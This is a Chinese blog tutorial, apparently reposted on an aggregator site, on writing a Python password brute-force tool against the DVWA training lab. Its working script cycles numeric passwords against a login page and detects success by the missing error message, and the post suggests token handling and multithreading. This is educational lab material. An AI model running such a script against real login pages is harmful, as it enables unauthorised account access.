IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> Python安全工具编写-密码爆破 -> 正文阅读

[网络协议]Python安全工具编写-密码爆破

密码爆破其实是将把可能为密码的字符串集合逐一验证,通过验证返回的结果来找到密码。
为了验证编写密码爆破工具的有效性,则用了DVWA靶场来验证。我们随意输入一串数字来看看返回的验证结果是如何。

可以看到,只要密码不正确则页面会显示Username and/or password incorrect.
在这里插入图片描述
那么根据这一特征,我们则可以利用密码爆破来编写爆破的框架了,首先我们确定我们爆破密码的必需品:1,模仿页面产生请求;2,密码尝试;3,获取返回页面特征

import requests
def function_request():
    url = 'http://10.3.61.68/dvwa/vulnerabilities/brute/' #你需要爆破的url
    header = {
        'Host': '10.3.61.68',
        'Connection': 'keep-alive',
        'Upgrade-Insecure-Requests': '1',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
        'Referer': 'http://10.3.61.68/dvwa/index.php',
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6',
        'Cookie': 'security=low;PHPSESSID=igjp30an8opurqc7aadrl8u407'
}#请求头,可以在请求页面直接打开F12查看网络包复制请求头
    for pwd in range(10000,100000):#利用循环不断更换密码以及发送请求
        url_get = '?username=admin&password={}&Login=Login#'.format(str(pwd))#编写请求信息
        r = requests.get(url+url_get,headers=header)#发送请求
        r.encoding = 'utf-8'#将响应消息以utf-8编码返回
        r_text = r.text
        fail_result = 'Username and/or password incorrect.'#验证失败返回关键字
        if (fail_result in r.text):#如果相应消息存在失败关键字,则继续循环,如果不存在则结束循环
            print("尝试密码:{},密码错误。".format(str(pwd)))
        else:
            print("尝试密码:{},密码正确。".format(str(pwd)))
            break

if __name__ == '__main__':
    function_request()
        

那么大体框架已经构写出来了,如果存在有tocken值,则只需要在上面框架上填补几句代码,首先获取返回内容中的tocken,再将其填入到请求中的tocken。
结果验证:
在这里插入图片描述

以上代码为单线程爆破,这肯定是很慢的了,感兴趣的童鞋可以自行编写多线程爆破,以上内容主要以学习为主,有任何不对的地方请大佬们指出。

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-02-26 12:07:35  更:2022-02-26 12:09:57 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/26 7:21:33-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码